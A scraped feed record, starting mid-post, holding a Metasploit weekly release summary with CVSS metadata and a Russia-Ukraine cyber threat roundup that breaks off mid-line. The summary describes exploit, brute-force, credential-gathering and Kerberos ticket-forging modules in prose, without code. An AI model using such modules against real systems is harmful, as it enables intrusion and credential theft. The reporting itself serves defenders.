[#17733](<https://github.com/rapid7/metasploit-framework/pull/17733>) contributed by [bcoles](<https://github.com/bcoles>)\n\nDescription: This adds a login scanner module to brute force credentials of Wowza Streaming Engine Manager.\n\n### SugarCRM unauthenticated Remote Code Execution (RCE)\n\nAuthors: Sw33t.0day and h00die-gr3y \nType: Exploit \nPull request: [#17507](<https://github.com/rapid7/metasploit-framework/pull/17507>) contributed by [h00die-gr3y](<https://github.com/h00die-gr3y>) \nAttackerKB reference: [CVE-2023-22952](<https://attackerkb.com/topics/E486ui94II/cve-2023-22952?referrer=blog>)\n\nDescription: A module has been added which exploits CVE-2023-22952, a RCE vulnerability in SugarCRM 11.0 Enterprise, Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and Serve versions prior to 12.0.2. Successful exploitation as an unauthenticated attacker will result in remote code execution as the user running the web services, which is typically `www-data`.\n\n### Gather Wowza Streaming Engine Credentials\n\nAuthor: bcoles \nType: Post \nPull request: [#17737](<https://github.com/rapid7/metasploit-framework/pull/17737>) contributed by [bcoles](<https://github.com/bcoles>)\n\nDescription: This adds a post module that collects Wowza Streaming Engine user credentials from the `admin.password` local configuration file. This file is world-readable by default on Linux and readable by `BUILTIN\\Users` on Windows.\n\n## Enhancements and features (9)\n\n * [#17675](<https://github.com/rapid7/metasploit-framework/pull/17675>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Updates the `admin/kerberos/forge_ticket` to support a new `extra_sids` option which can be useful for including cross-domain SIDs for forging external Kerberos trust tickets as part of cross-trust domain escalation. The `admin/kerberos/inspect_ticket` has also been updated to support viewing these extra SID values.\n * [#17686](<https://github.com/rapid7/metasploit-framework/pull/17686>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This adds 3 additional methods to the existing PetitPotam module to make it work even if the patch for CVE-2021-36942 has been installed. Note that it won't work after the December 2021 patch.\n * [#17715](<https://github.com/rapid7/metasploit-framework/pull/17715>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- The Metasploit Payload gem has been bumped to 2.0.115, bringing in support for the `arp` command to Python Meterpreter on Linux, and adding support for displaying IPv6 routing tables using the `route` command on Windows.\n * [#17727](<https://github.com/rapid7/metasploit-framework/pull/17727>) from [rohitkumarankam](<https://github.com/rohitkumarankam>) \\- Two new options have been added to the login scanner library: `max_consecutive_error_count` and `max_error_count`. These options allow users to set the maximum number of errors that are allowed to occur when connecting as well as the maximum number of consecutive errors that are allowed when connecting before the login scanner will give up on a target.\n * [#17744](<https://github.com/rapid7/metasploit-framework/pull/17744>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- The code for `msfconsole` has been updated so that performance profiling can also take into account the time it takes to load `msfenv` and console related libraries, thereby allowing for more accurate performance profiling.\n * [#17745](<https://github.com/rapid7/metasploit-framework/pull/17745>) from [gwillcox-r7](<https://github.com/gwillcox-r7>) \\- This updates the metasploit-payloads gem to pull in changes to the Python Meterpreter on Windows to add the `route add` and `route delete` commands as well as the ability to get process information such as process names and paths.\n * [#17746](<https://github.com/rapid7/metasploit-framework/pull/17746>) from [todb-r7](<https://github.com/todb-r7>) \\- The `data/wordlists/password.lst` password list has been updated to include the master password that LastPass suggests as an example when a user goes to create a new master password, `r50$K28vaIFiYxaY`, into the password list, as well as to fix some encoding issues.\n * [#17749](<https://github.com/rapid7/metasploit-framework/pull/17749>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Updates the `auxiliary/admin/kerberos/keytab.rb` module to additionally export any NTHASHES, which can be useful for decrypting Kerberos network traffic in Wireshark.\n * [#17756](<https://github.com/rapid7/metasploit-framework/pull/17756>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Updates secrets dump to generate the Kerberos RC4 key for the machine account.\n\n## Bugs fixed (8)\n\n * [#17673](<https://github.com/rapid7/metasploit-framework/pull/17673>) from [bcoles](<https://github.com/bcoles>) \\- `lib/msf/core/payload/apk.rb` has been updated so that by default it only decompiles the main classes instead of all classes, fixing some issues whereby decompiling all classes would prevent creation of a backdoored APK. This also bumps up the minimum `apktool` version to 2.4.1 and makes it so that versions prior to 2.7.0 of `apktool` will throw a warning about being potentially out of date.\n * [#17716](<https://github.com/rapid7/metasploit-framework/pull/17716>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- A bug has been fixed whereby the reverse port forward information message was displayed incorrectly, and the same information was shown on both the local and remote parts of the message.\n * [#17721](<https://github.com/rapid7/metasploit-framework/pull/17721>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- This fixes an issue where payloads that were adapted failed when stage encoding was enabled because the stage encoding was based on the stager arch and platform values. These values were always the same until we introduced adapted payloads, which can vary.\n * [#17723](<https://github.com/rapid7/metasploit-framework/pull/17723>) from [jvoisin](<https://github.com/jvoisin>) \\- A bug has been fixed in the `modules/encoders/php/base64.rb` encoder whereby strings were being passed as literal strings without being properly quoted, which could result in errors on newer versions of PHP.\n * [#17726](<https://github.com/rapid7/metasploit-framework/pull/17726>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- The Metasploit Payloads gem has been updated bringing in initial support for attaching to processes on Python Meterpreter shells on Windows, a bug fix for the `route` command on newer versions of Windows on Windows Meterpreter, and a fix so that both C Meterpreter and Python Meterpreter sessions will attempt to enable the same set of permissions when running `getprivs`.\n * [#17729](<https://github.com/rapid7/metasploit-framework/pull/17729>) from [bcoles](<https://github.com/bcoles>) \\- Fixes an edge case crash when running Ruby 3.2\n * [#17738](<https://github.com/rapid7/metasploit-framework/pull/17738>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- Fix Ruby 3.2 crash when running certain tools\n * [#17758](<https://github.com/rapid7/metasploit-framework/pull/17758>) from [zeroSteiner](<https://github.com/zeroSteiner>) \\- The metasploit-payloads gem has been bumped to fix a token handle leak that was causing Python Meterpreters to leave dangling handles after using `getprivs`, fix a error in `packet_transmit_http` whereby error codes were not appropriately returned, and update the `arp` command to properly return the interface name instead of the index for the `interface` column.\n\n## Documentation added (3)\n\n * [#17684](<https://github.com/rapid7/metasploit-framework/pull/17684>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This PR adds the RBCD exploitation documentation to the docs site.\n * [#17688](<https://github.com/rapid7/metasploit-framework/pull/17688>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This PR fixes several broken wiki links, as well as adding validation to users users don't use the wrong syntax when making docs changes.\n * [#17743](<https://github.com/rapid7/metasploit-framework/pull/17743>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- A new page has been added to explain the `METASPLOIT_CPU_PROFILE` and `METASPLOIT_MEMORY_PROFILE` options and to explain how to profile `msfconsole`'s and `msfvenom`'s performance on systems.\n\nYou can always find more documentation on our docsite at [docs.metasploit.com](<https://docs.metasploit.com/>).\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.3.5...6.3.6](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222023-03-02T14%3A22%3A58%2B00%3A00..2023-03-09T19%3A29%3A16%2B01%3A00%22>)\n * [Full diff 6.3.5...6.3.6](<https://github.com/rapid7/metasploit-framework/compare/6.3.5...6.3.6>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-03-10T19:00:00", "type": "rapid7blog", "title": "Metasploit Weekly Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-36942", "CVE-2023-22952"], "modified": "2023-03-10T19:00:00", "id": "RAPID7BLOG:A7E1C05842DF5C07D9B1BA23B2235727", "href": "https://blog.rapid7.com/2023/03/10/metasploit-weekly-wrap-up-196/", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2022-03-16T21:28:40", "description": "\n\nCyberattacks are a distinct concern in the [Russia-Ukraine conflict](<https://www.rapid7.com/blog/tag/russia-ukraine-conflict/>), with the potential to impact individuals and organizations far beyond the physical frontlines. With events unfolding rapidly, we want to provide a single channel by which we can communicate to the security community the major cyber-related developments from the conflict each day.\n\nEach business day, we will update this blog at 5 pm EST with what we believe are the need-to-know updates in cybersecurity and threat intelligence relating to the Russia-Ukraine conflict. We hope this blog will make it easier for you to stay current with these events during an uncertain and quickly changing time.\n\n* * *\n\n## March 16, 2022\n\nUkrainian President Volodymyr Zelenskyy [delivered a virtual speech](<https://www.nbcnews.com/politics/congress/zelenskyy-expected-press-us-military-support-address-congress-rcna20088>) to US lawmakers on Wednesday, asking again specifically for a no-fly zone over Ukraine and for additional support. \n\nThe White House released a new [fact sheet](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/16/fact-sheet-on-u-s-security-assistance-for-ukraine/>) detailing an additional $800 million in security assistance to Ukraine. \n\n**Threat Intelligence Update**\n\n * ******UAC-0056 targets Ukrainian entities******\n\nSentinelOne researchers reported that UAC-0056 targeted Ukrainian entities using a malicious Python-based package, masquerading as a Ukrainian language translation software. Once installed, the fake app deployed various malware, such as Cobalt Strike, GrimPlant, and GraphSteel.\n\n_Source: [Sentinel One](<https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/>)_\n\n * ******A ****h****acker was caught routing calls to Russian troops******\n\nThe Security Service of Ukraine claimed to have arrested a hacker that helped deliver communications from within Russia to the Russian troops operating in the Ukrainian territory. The hacker also sent text messages to\n\nUkrainian security officers and civil servants, exhorting them to surrender.\n\n_Source: [The Verge](<https://www.theverge.com/2022/3/15/22979381/phone-relay-capture-russia-military-unencrypted-communications-ukraine>)_\n\n## March 15, 2022\n\nThe Ukrainian Ministry of Defense [leaked documents](<https://www.scmagazine.com/analysis/breach/in-a-first-ukraine-leaks-russian-intellectual-property-as-act-of-war>) of a Russian nuclear power plant. This may be the first-ever instance of a hack-and-leak operation to weaponize the disclosure of intellectual property to harm a nation.\n\nResearchers at INFOdocket, a subsidiary of [Library Journal](<https://en.wikipedia.org/wiki/Library_Journal>), have [created](<https://www.infodocket.com/2022/03/10/briefings-reports-and-updates-about-the-conflict-in-ukraine-from-the-congressional-research-service-european-parliament-research-service-and-uk-house-of-commons-library/>) a compendium of briefings, reports, and updates about the conflict in Ukraine from three research organizations: Congressional Research Service (CRS), European Parliament Research Service (EPRS), and the UK House of Commons Library. The resource will be updated as each of the three organizations releases relevant new content.\n\nThe Wall Street Journal [is reporting](<https://www.wsj.com/articles/russian-prosecutors-warn-western-companies-of-arrests-asset-seizures-11647206193>) that Russian prosecutors have issued warnings to Western companies in Russia, threatening to arrest corporate leaders there who criticize the government or to seize assets of companies that withdraw from the country. \n\nRussia may [default on $117 million (USD) in interest payments](<https://qz.com/2142075/sanctions-are-likely-to-force-russia-to-default-on-foreign-debt/>) on dollar-denominated bonds due to Western sanctions, the first foreign debt default by Russia since 1918.\n\nReuters is [reporting](<https://www.usnews.com/news/world/articles/2022-03-14/russian-delegation-suspends-participation-in-council-of-europe-body-ria>) that Russia's delegation to the Parliamentary Assembly of the Council of Europe (PACE) is suspending its participation and will not take part in meetings. \n\nCNN [reports](<https://www.cnn.com/europe/live-news/ukraine-russia-putin-news-03-15-22/h_3f0d63658ac5c2875ed265df00ba8b40>) that Russia has imposed sanctions against US President Joe Biden, his son, Secretary of State Antony Blinken, other US officials, and \u201cindividuals associated with them,\u201d the Russian Foreign Ministry said in a statement on Tuesday.\n\n**Threat Intelligence Update**\n\n * ******Russian ****s****tate-****s****ponsored ****c****yber ****a****ctors ****a****ccess ****n****etwork ****m****isconfigured with ****d****efault MFA ****p****rotocols******\n\nCISA and the Federal Bureau of Investigation (FBI) have released a joint Cybersecurity Advisory that details how Russian state-sponsored cyber actors accessed a network with misconfigured default multifactor authentication (MFA) protocols. The actors then exploited a critical Windows Print Spooler vulnerability, [\u201cPrintNightmare\u201d (CVE-2021-34527)](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>), to run arbitrary code with system privileges.\n\n_Source: [CISA](<https://www.cisa.gov/uscert/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured>)_\n\n * ******Fake antivirus updates used to deploy Cobalt Strike in Ukraine******\n\nUkraine's Computer Emergency Response Team is warning that threat actors are distributing fake Windows antivirus updates that install Cobalt Strike and other malware. The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise recipients to download \"critical security updates,\" which come in the form of a 60 MB file named \"BitdefenderWindowsUpdatePackage.exe.\"\n\n_Source: [BleepingComputer/CERT-UA](<https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/amp/>)_\n\n * ******A ****n****ovel ****w****iper ****t****argets Ukrainian ****e****ntities******\n\nCybersecurity researchers observed the new CaddyWiper malware targeting Ukrainian organizations. Once deployed, CaddyWiper destroys and overwrites the data from any drives that are attached to the compromised system. Despite being released in close proximity to other wiping malware targeting Ukraine, such as HermeticWiper and IsaacWiper, CaddyWiper does not share any significant code similarities with them and appears to be created separately.\n\n_Source:[ Bleeping Computer](<https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/amp/>)_\n\n * ******German Federal Office for Information Security ****a****gency ****i****ssues an ****a****lert for Russian ****a****ntivirus ****s****oftware Kaspersky******\n\nThe German Federal Office for Information Security agency (BSI) issued an alert urging its citizens to replace Kaspersky antivirus software with another defense solution, due to alleged ties to the Kremlin. The agency suggested Kaspersky could be used as a tool in the cyber conflict between Russia and Ukraine.\n\n_Source:[ BSI](<https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2022/220315_Kaspersky-Warnung.html>)_\n\n## March 14, 2022\n\nThe EU-based NEXTA media group has [reported](<https://twitter.com/nexta_tv/status/1503393046351781892?s=20&t=1tA7lZrLVe-cZpHb9wy2LA>) that Russia is starting to block VPN services.\n\nBermuda\u2019s aviation regulator [said](<https://financialpost.com/pmn/business-pmn/bermuda-revokes-licenses-for-russian-operated-planes-over-safety-concerns>) it is suspending certification of all Russian-operated airplanes registered in the British overseas territory due to international sanctions over the war in Ukraine, in a move expected to affect more than 700 planes.\n\nThe Washington Post [reported](<https://www.washingtonpost.com/world/2022/03/12/russia-putin-google-apple-navalny/>) that Federal Security Service (FSB), Russian Federalnaya Sluzhba Bezopasnosti, agents approached Google and Apple executives with requests to remove apps created by activist groups.\n\nAmnesty International [said](<https://www.amnesty.org/en/latest/news/2022/03/russia-authorities-block-amnesty-internationals-russian-language-website/>) Russian authorities have blocked their Russian-language website. \n\n**Threat Intelligence Update**\n\n * ******Anonymous claims to hack Rosneft, German subsidiary of Russian energy******\n\nAnonymous claimed to hack the German branch of the Russian energy giant Rosneft, allegedly stealing 20 TB of data. The company systems were significantly affected by the attack, although there currently seems to be no effect on the company's energy supply.\n\n_Source:[ Security Affairs](<https://securityaffairs.co/wordpress/129052/hacktivism/anonymous-hacked-german-subsidiary-rosneft.html>)_\n\n * ******Russia blocks access to Instagram nationwide******\n\nRussia's Internet moderator Roskomnadzor decided to block Instagram access in the country, following Meta's decision to allow \"calls for violence against Russian citizens.\" The federal agency gave Instagram users 48 hours to prepare and finally completed the act on March 13. The blocking of Instagram follows the former ban of Facebook and Twitter in Russia last week.\n\n_Source:[ Cyber News](<https://cybernews.com/cyber-war/instagram-is-no-longer-accessible-in-russia/?utm_source=youtube&utm_medium=cn&utm_campaign=news_CNN_047_instagram_blocked_in_russia&utm_term=2v1_yubOBMc&utm_content=direct_article>)_\n\n## March 11, 2022\n\nPresident Biden, along with the European Union and the Group of Seven Countries, [moved](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/11/fact-sheet-united-states-european-union-and-g7-to-announce-further-economic-costs-on-russia/>) to revoke \u201cmost favored nation\u201d trade status for Russia, deny borrowing privileges at multilateral financial institutions, apply sanctions to additional Russian elites, ban export of luxury goods to Russia, and ban US import of goods from several signature sectors of Russia\u2019s economy.\n\n**Threat Intelligence Update**\n\n * **Amid difficulties with renewing certificates, Russia has created its own trusted TLS certificate authority**\n\nSigning authorities based in countries that have imposed sanctions on Russia can no longer accept payments for their services, leaving many sites with no practical means to renew expiring certificates. As a result, the Russian Ministry of Digital Development announced the availability of domestic certificates, replacing expired or revoked foreign certificates.\n\n_Source: [Bleeping Computer](<https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/>)_\n\n * ******Triolan, ****a**** major Ukrainian internet service provider****,**** was hacked \u2014 twice******\n\nTriolan, a Ukraine-based ISP with more than half a million subscribers, was reportedly hacked initially on February 24th, with a second attack hitting on March 9th. The company reported that the threat actors managed to hack into key components of the network, some of which couldn\u2019t be recovered.\n\n_Source: [Forbes](<https://www.forbes.com/sites/thomasbrewster/2022/03/10/cyberattack-on-major-ukraine-internet-provider-causes-major-outages/?sh=768d17596573>)_\n\n## March 10, 2022\n\nBy [order of President Putin](<https://twitter.com/KevinRothrock/status/1501935395092631556?s=20&t=TvFRrQvNfQ6OL3qvFJePQg>), Russia\u2019s Economic Development Ministry has drafted a bill that would effectively nationalize assets and businesses \"abandoned\" in Russia by foreign corporations. Management of these seized assets will be entrusted to the VEB.RF state development corporation and to Russia\u2019s Deposit Insurance Agency.\n\nRussia has [effectively legalized patent theft](<http://publication.pravo.gov.ru/Document/View/0001202203070005?index=0&rangeSize=1>) from anyone affiliated with countries \u201cunfriendly\u201d to it, declaring that unauthorized use will not be compensated. The Russian news agency Tass has [further reporting](<https://tass.ru/ekonomika/13982403>) on this, as does the [Washington Post](<https://www.washingtonpost.com/business/2022/03/09/russia-allows-patent-theft/>).\n\nGoldman Sachs Group Inc [announced it was closing its operations in Russia](<https://www.reuters.com/business/finance/goldman-sachs-exit-russia-bloomberg-news-2022-03-10/>), becoming the first major Wall Street bank to exit the country following Moscow's invasion of Ukraine.\n\nUK Foreign Secretary Liz Truss [announced](<https://www.gov.uk/government/news/abramovich-and-deripaska-among-seven-oligarchs-targeted-in-estimated-15bn-sanction-hit>) a full asset freeze and travel ban on seven of Russia\u2019s wealthiest and most influential oligarchs, whose business empires, wealth, and connections are closely associated with the Kremlin.\n\nUS Vice President Kamala Harris [announced](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/10/vice-president-kamala-harris-announces-additional-u-s-funding-to-respond-to-humanitarian-needs-in-ukraine-and-eastern-europe/>) nearly $53 million in new humanitarian assistance from the United States government, through the US Agency for International Development (USAID), to support innocent civilians affected by Russia\u2019s invasion of Ukraine.\n\nThe International Atomic Energy Agency (IAEA) [provided an update](<https://www.iaea.org/newscenter/pressreleases/update-17-iaea-director-general-statement-on-situation-in-ukraine>) on the situation at the Chernobyl Nuclear Power Plant. The IAEA Director General said that the Agency is aware of reports that power has now been restored to the site and is looking for confirmation. At the same time, Ukraine informed them that today it had lost all communications with the facility. The IAEA has assured the international community that there has been \u201cno impact on essential safety systems.\u201d\n\n**Threat Intelligence Update**\n\n * **New malware variant targeting Russia named RURansom**\n\nRURansom is a malware variant that was recently discovered and appears to be targeting Russia. While it was initially suspected of being a ransomware, further analysis suggests it is actually a wiper. So far, no active non-Russian targets have been identified, likely due to the malware targeting specific entities.\n\n_Source: [TrendMicro](<https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html>)_\n\n_Available in Threat Library as: RURansom_\n\n * ******Kaspersky source code leak seems to be just a collection of publicly available HTML files******\n\nThe hacking group NB65 claimed on social networks to have leaked source code from the Russian antivirus firm Kaspersky. However, it appears that the leaked files are nothing more than a long list of HTML files and other related, publicly available web resources.\n\n_Source: [Cybernews](<https://cybernews.com/cyber-war/long-awaited-kaspersky-leak-doesnt-seem-to-be-a-leak-at-all/>)_\n\n * ******Anonymous claims to hack Roskomnadzor, a Russian federal agency******\n\nHacktivist group Anonymous claims to have breached Roskomnadzor, a Russian federal agency responsible for monitoring, controlling, and censoring Russian mass media, leaking over 360,000 (817.5 GB) files. Based on the report, the leak contains relatively recent censored documents, dated as late as March 5, and demonstrates Russia\u2019s attempts to censor media related to the conflict in Ukraine.\n\n_Source: @AnonOpsSE via [Twitter](<https://twitter.com/AnonOpsSE/status/1501944150794506256>) _\n\n## March 9, 2022\n\n**Public policy:** Citing concerns over rising cybersecurity risks related to the Russia-Ukraine conflict, the US is poised to enact new cyber incident reporting requirements. The_ _[Cyber Incident Reporting for Critical Infrastructure Act of 2022](<https://www.congress.gov/bill/117th-congress/senate-bill/3600/text?q=%7B%22search%22%3A%5B%22s+3600%22%2C%22s%22%2C%223600%22%5D%7D&r=3&s=2>):\n\n * Will require critical-infrastructure owners and operators to report cybersecurity incidents to CISA within 72 hours of determining the incident is significant enough that reporting is required;\n * Will require critical infrastructure owners and operators to report ransomware payments to CISA within 24 hours; and\n * Is intended to give federal agencies more insight into attack trends and potentially provide early warnings of major vulnerabilities or attacks in progress before they spread.\n\nThe Bank of Russia [established](<https://www.cbr.ru/eng/press/event/?id=12744>) temporary procedures for foreign cash transactions, suspending sales of foreign currencies until September 9, 2022. Foreign currency accounts are limited to withdrawals up to $10,000 USD.\n\nThe Financial Crimes Enforcement Network (FinCEN) is [alerting all financial institutions](<https://www.fincen.gov/index.php/news/news-releases/fincen-advises-increased-vigilance-potential-russian-sanctions-evasion-attempts>) to be vigilant against efforts to evade the expansive sanctions and other US-imposed restrictions implemented in connection with the Russian Federation\u2019s further invasion of Ukraine.\n\nThe Pentagon [dismissed](<https://www.cnn.com/2022/03/08/politics/poland-jets-ukraine-russia/index.html>) Poland\u2019s offer to transfer MIG-29 fighter jets to the United States for delivery to Ukraine, stating they did not believe the proposal was \u201ctenable.\u201d\n\n**Threat Intelligence Update**\n\n * ******Multiple hacking groups target Ukrainians and other European ****a****llies via ****p****hishing ****a****ttacks******\n\nSeveral threat actors, including Fancy Bear, Ghostwriter, and Mustang Panda, have launched a large phishing campaign against Ukraine, Poland, and other European entities amid Russia's invasion of Ukraine. \n\n_Source: [The Hacker News](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>)_\n\n_Available in Threat Library as: APT28 (Fancy Bear), Ghostwriter, Mustang Panda_\n\n * ******The Conti Ransomware group resumes activity following leaks******\n\nThe Conti Ransomware group appears to have made a comeback following the [leak of its internal chats last week](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>). On March 9, Rapid7 Threat Intelligence observed renewed activity on Conti\u2019s onion site, and CISA released new IOCs related to the group on their Conti alert page.\n\n_Source: [CISA](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>)_\n\n_Available in Threat Library as: Conti_\n\n * ******The Belarusian group UNC1151 targets Ukrainian organizations using MicroBackdoor malware******\n\nThe Ukrainian government has reported on a continuous cyberattack on state organizations of Ukraine using malicious software Formbook.\n\n_Source: [Ukrainian CERT](<https://cert.gov.ua/article/37626>)_\n\n_Available in Threat Library as: UNC1151_\n\n## March 8, 2022\n\nThe US [announced](<https://www.whitehouse.gov/briefing-room/presidential-actions/2022/03/08/executive-order-on-use-of-project-labor-agreements-for-federal-construction-projects-2/>) a ban on imports of Russian oil, gas, and other energy products. New US investments in the Russian energy sector are also restricted. The UK [announced](<https://www.gov.uk/government/news/uk-to-phase-out-russian-oil-imports>) it would phase out Russian oil over 2022. \n\nThe International Atomic Energy Agency [published a statement](<https://www.iaea.org/newscenter/pressreleases/update-15-iaea-director-general-statement-on-situation-in-ukraine>) noting that remote data transmission from monitoring systems at Ukraine\u2019s mothballed Chernobyl nuclear power plant has been lost. No network data has been observed by internet monitoring companies since March 5, 2022.\n\nChris Chivvis, a senior fellow and director of the American Statecraft Program at the Carnegie Endowment for International Peace, has provided [an assessment](<https://carnegieendowment.org/2022/03/03/how-does-this-end-pub-86570>) of two likely trajectories in the Russia-Ukraine conflict. \n\nTwitter [announced](<https://twitter.com/AlecMuffett/status/1501282223009542151?s=20&t=tO-TNZw5ct6tZUcwyvMl4A>) they have made their social network available on the Tor Project onion service, which will enable greater privacy, integrity, trust, and availability to global users.\n\nThe Minister of Foreign Affairs of the Republic of Poland [announced](<https://www.gov.pl/web/diplomacy/statement-of-the-minister-of-foreign-affairs-of-the-republic-of-poland-in-connection-with-the-statement-by-the-us-secretary-of-state-on-providing-airplanes-to-ukraine>) they are ready to deploy \u2014 immediately and free of charge \u2014 all their MIG-29 jets to the Ramstein Air Force base and place them at the disposal of the US government.\n\nLumen [announced](<https://news.lumen.com/RussiaUkraine>) they are immediately ceasing their limited operations in Russia and will no longer provide services to local Lumen enterprise customers.\n\nMcDonald\u2019s [announced](<https://www.cnbc.com/2022/03/08/mcdonalds-will-temporarily-close-850-restaurants-in-russia-nearly-2-weeks-after-putin-invaded-ukraine.html>) they have temporarily closed 850 restaurants in Russia in response to Russia\u2019s attack on Ukraine.\n\nStarbucks [has announced](<https://www.cnbc.com/2022/03/08/starbucks-suspends-all-business-in-russia-as-putins-forces-attack-ukraine.html>) they will be suspending all business in Russia in response to Russia\u2019s attack on Ukraine.\n\n**Threat Intelligence Update**\n\n * ******52 US organizations were impacted by RagnarLocker ransomware****,**** including critical infrastructures******\n\nThe FBI reported that as of January 2021, 52 US-based organizations, some related to critical infrastructure, were affected by RagnarLocker ransomware. The industries affected include manufacturing, energy, financial services, government, and information technology. The malware code excludes execution on post-Soviet Union countries, including Russia, based on a geolocation indicator embedded in its code.\n\n_Source: [FBI FLASH](<https://www.ic3.gov/Media/News/2022/220307.pdf>) _\n\n_Available in Threat Library as: Ragnar Locker_\n\n * ******US energy companies were attacked prior to the Russian invasion to Ukraine******\n\nDuring a two-week blitz in mid-February, hackers received access to dozens of computers belonging to multiple US-based energy companies, including [Chevron Corp.](<https://www.bloomberg.com/quote/CVX:US>), [Cheniere Energy Inc.](<https://www.bloomberg.com/quote/LNG:US>), and [Kinder Morgan Inc](<https://www.bloomberg.com/quote/KMI:US>). The companies were attacked in parallel to the Russian invasion of Ukraine.\n\n_Source: [Bloomberg](<https://www.bloomberg.com/news/articles/2022-03-07/hackers-targeted-u-s-lng-producers-in-run-up-to-war-in-ukraine>)_\n\n * **European officials were hacked by Chinese threat actors amid the conflict in Ukraine**\n\nAccording to Google and Proofpoint, a cyberattack was launched by the Chinese hacking group Mustang Panda and its affiliated group RedDelta, which usually targets Southeast Asian countries. The groups managed to gain access to an unidentified European NATO-member email account and spread malware to other diplomatic offices.\n\n_Source: [Forbes](<https://www.forbes.com/sites/thomasbrewster/2022/03/08/chinese-hackers-ramp-up-europe-attacks-in-time-with-russia-ukraine-war/?sh=6077d22f5ee1>)_\n\n_Available in Threat Library as: Mustang Panda_ \n\n\n * ******#OpAmerica: DEVLIX_EU, a pro-Russian hacktivist group, and its affiliates claim to have gained access to terabytes of US sensitive data ******\n\nThe group claims they have obtained access to 92TB of data related to the US Army. According to the group, they also hacked into four of the biggest \u201chosts\u201d in the US and 49 TB of data. As of now, there is no real evidence for the attack provided by the group.\n\n_Source: @Ex_anon_W_hater via [Twitter](<https://twitter.com/Ex_anon_W_hater/status/1500858398664888325>)_\n\n## March 7, 2022\n\nNetflix, KPMG, PwC, and EY have [cut ties with local units in Russia,](<https://www.reuters.com/business/netflix-kpmg-pwc-amex-sever-ties-with-russia-2022-03-06/>) and Danone suspended investments in Russia.\n\nThe Russian government has [published a list of foreign states](<https://www.jpost.com/international/article-700559>) that have committed \u201cunfriendly actions\u201d against \u201cRussia, Russian companies, and citizens.\u201d Countries listed include Australia, Albania, Andorra, the United Kingdom, the member states of the European Union, Iceland, Canada, Liechtenstein, Micronesia, Monaco, New Zealand, Norway, Republic of Korea, San Marino, North Macedonia, Singapore, USA, Taiwan, Ukraine, Montenegro, Switzerland, and Japan.\n\nThe Russian government\u2019s Ministry of Digital [issued orders](<https://www.kommersant.ru/doc/5249500>) for all government websites to use only domestic hosting providers and DNS. They further instructed agencies to discontinue using non-Russian third-party tooling, such as Google Analytics.\n\nTikTok is [suspending content from Russia](<https://www.buzzfeednews.com/article/krystieyandoli/tiktok-russia-suspending-media>) in response to the country cracking down on reporting about the invasion of Ukraine.\n\n**Threat Intelligence Update**\n\n * **Anonymous-affiliated threat actor claims to have hacked and shut down water infrastructure in Russia**\n\nThe AnonGhost group claims to have hacked and shut down two Russian SCADA water supply systems impacting the Russian cities: Volkhov, Boksitogorsk, Luga, Slantsevsky, Tikhvinsky, and Vyborg.\n\n_Source: @darkowlcyber via 